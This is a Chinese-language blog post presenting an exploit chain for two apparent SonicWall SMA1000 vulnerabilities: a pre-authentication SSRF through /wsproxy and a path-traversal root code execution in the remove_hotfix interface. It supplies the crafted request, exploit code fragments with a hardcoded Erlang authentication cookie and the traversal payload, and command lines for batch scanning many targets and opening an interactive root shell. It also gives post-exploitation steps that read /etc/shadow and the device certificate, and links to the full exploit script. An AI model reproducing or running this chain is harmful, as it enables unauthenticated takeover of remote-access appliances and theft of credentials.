零门槛拿 ROOT:SonicWall SMA1000 双零日漏洞链

零门槛拿 ROOT:SonicWall SMA1000 双零日漏洞链

_

漏洞简介

  • CVE-2026-15409 和 CVE-2026-15410 是两个在野被威胁组织 UTA0533 利用的 SonicWall SMA1000 系列安全远程访问设备漏洞,可组合成一条完整的「未认证 → Root RCE」攻击链。

  • CVE-2026-15409 是一个预认证 SSRF(服务端请求伪造)漏洞,位于 SMA1000 WorkPlace Web 界面的 /wsproxy 端点。攻击者无需任何账号权限,通过构造特制的 WebSocket 请求即可让设备主动建立一条隧道,绕过网络隔离边界,访问仅允许 localhost 访问的内部 Erlang RPC 服务。

  • CVE-2026-15410 是一个路径穿越代码注入漏洞,存在于 AMC(Appliance Management Console)内部控制服务 ctrl-serviceremove_hotfix 工作流中。该接口对 hotfix 参数缺少路径过滤,以 root 权限执行攻击者指定的任意脚本。

CVE-2026-15409 负责建立访问通道,CVE-2026-15410 负责权限跃升,全程无需认证。

影响范围

类别

详细内容

漏洞编号

CVE-2026-15409

SSRF → 内部服务访问

漏洞编号

CVE-2026-15410

路径穿越 → Root RCE

影响范围

固件版本

SMA 12.4.3 (03245/03387/03434)、12.5.0 (02283/02624/02800) 及以下

项类别

详细内容

影响组件

WorkPlace Web 界面 + AMC ctrl-service

漏洞类型

SSRF + 路径穿越代码注入

漏洞复现

  • 准备环境

项类别

详细内容

环境

Python 3.9+

目标

SonicWall SMA1000(受影响固件版本)

  • 复现步骤

步骤 1:漏洞构建请求

CVE-2026-15409 的触发点位于 /wsproxy 端点,关键参数如下:

  bmID=-3389       → 触发缺少内网地址校验的代码分支
  host=localhost   → 代理目标指向设备内部
  port=1050        → Erlang RPC 服务监听端口
  User-Agent=SMA Connect Agent → 伪装为合法客户端

构造请求:

  POST /wsproxy HTTP/1.1
  Host: <target>:443
  User-Agent: SMA Connect Agent
  Connection: Upgrade
  Upgrade: websocket
  Content-Type: application/x-www-form-urlencoded

  bmID=-3389&host=localhost&port=1050

CVE-2026-15410 的触发点位于 ctrl-service :8188 端口的 remove_hotfix 接口,
通过路径穿越将恶意脚本路径写入 root 可执行位置:

  hotfix=../../../../var/tmp/privesc.sh
  → 以 root 权限执行该脚本
步骤 2:执行检测脚本(checker.py)

使用 checker.py 对目标进行 SSRF 漏洞探测,验证漏洞存在性:

  python3 checker.py https://<target_ip>

检测逻辑:向多个路径(/workplace/、/ui/、/portal/、/cgi-bin/ 等)
发送携带 https://httpbin.org/ip 的探测请求,若响应中包含 httpbin.org 或
外网 IP 信息,则判定 SSRF 漏洞存在。

检测结果示例:

  CVE-2026-15409 - SONICWALL SMA1000 SSRF SAFE CHECKER
  [2026-08-08 10:00:00] Powered by 七度光 | www.qdg.tw
  [*] https://192.168.1.100/workplace/wsproxy?url=https%3A%2F%2Fhttpbin.org%2Fip
     → Status: 200 | Size: 18
  [!] > SSRF VULNERABILITY DETECTED!
  [!] CRITICAL: SSRF vulnerability detected (CVE-2026-15409)
  [!] Remote unauthenticated attackers can access internal services
步骤 3:执行利用脚本(exploit.py)

  ① 通过 CVE-2026-15409 建立 WebSocket 隧道至内部 Erlang RPC(:1050)
  ② 使用硬编码 Cookie 完成 Erlang 认证(绕过身份验证)
  ③ 通过 RPC 读取设备硬件信息、写入恶意脚本到 /tmp
  ④ 通过 CVE-2026-15410 调用 remove_hotfix 接口,以 root 执行脚本

关键代码片段:

  # 建立 WebSocket 隧道
  ws_url = (f"wss://{target}:{port}{path}/workplace/wsproxy?"
            f"bmID=-3389{bm_id}&serviceType=SSH&host=127.0.0.1&port=1050")

  # Erlang 认证(硬编码 Cookie)
  DEFAULT_COOKIE = "10ecad5b446e86864832904cd439b6b70262"
  digest = hashlib.md5((cookie + str(challenge)).encode()).digest()

  # CVE-2026-15410 路径穿越执行
  payload = (f'<?xml version="1.0"?><methodCall><methodName>remove_hotfix</methodName>'
             f'<params><param><value><string>../../../../{tmp_path}</string></value></param>'
             f'</params></methodCall>')
步骤 4:执行利用

单目标利用:

  python3 exploit.py -u <target_ip> --exec "whoami"

--detect 模式(先检测 SSRF 再利用):

  python3 exploit.py -u <target_ip> --detect --exec "id"

批量扫描模式:

  python3 exploit.py -l targets.txt --exec "whoami" -m 50

交互式 Shell:

  python3 exploit.py -u <target_ip>
  # 进入交互式 shell,支持以下命令:
  #   privesc          → 触发 CVE-2026-15410 提权
  #   download <path>  → 读取目标文件
  #   exit             → 退出
步骤 5:观察输出

成功执行时,控制台输出如下信息:

  CVE-2026-15409 - SONICWALL SMA1000
  SSRF to Erlang RCE & CVE-2026-15410 Root Privesc
  CVSS Score: 10.0 (Critical)
  [2026-08-08 10:00:00] Powered by 七度光 | www.qdg.tw
   Running SSRF detection
   /workplace/wsproxy?url=... → 200
   SSRF detected at /workplace/wsproxy

  Connecting to <target>:443
  Erlang RPC channel authenticated

  Command output:
  root
步骤 6:验证结果

在目标设备上执行验证命令,确认获得 root 权限:

  # 确认当前用户
  whoami → root

  # 确认权限
  id → uid=0(root) gid=0(root)

  # 读取敏感文件
  cat /etc/shadow → 获取所有账户哈希
  cat /opt/nms/ssl/certs/nms.pem → 获取设备证书

  # 检查持久化后门
  ls -la /etc/cron.d/
  cat /etc/rc.local

利用脚本

网盘

链接

mega

https://mega.nz/file/rGJTSJgJ#BNxg5QgYd4H2GwVafjBE29nrJOXHuf5c64K_g4Sd9kA

Windows下多种剪切板劫持方式与原理详解 2026-08-06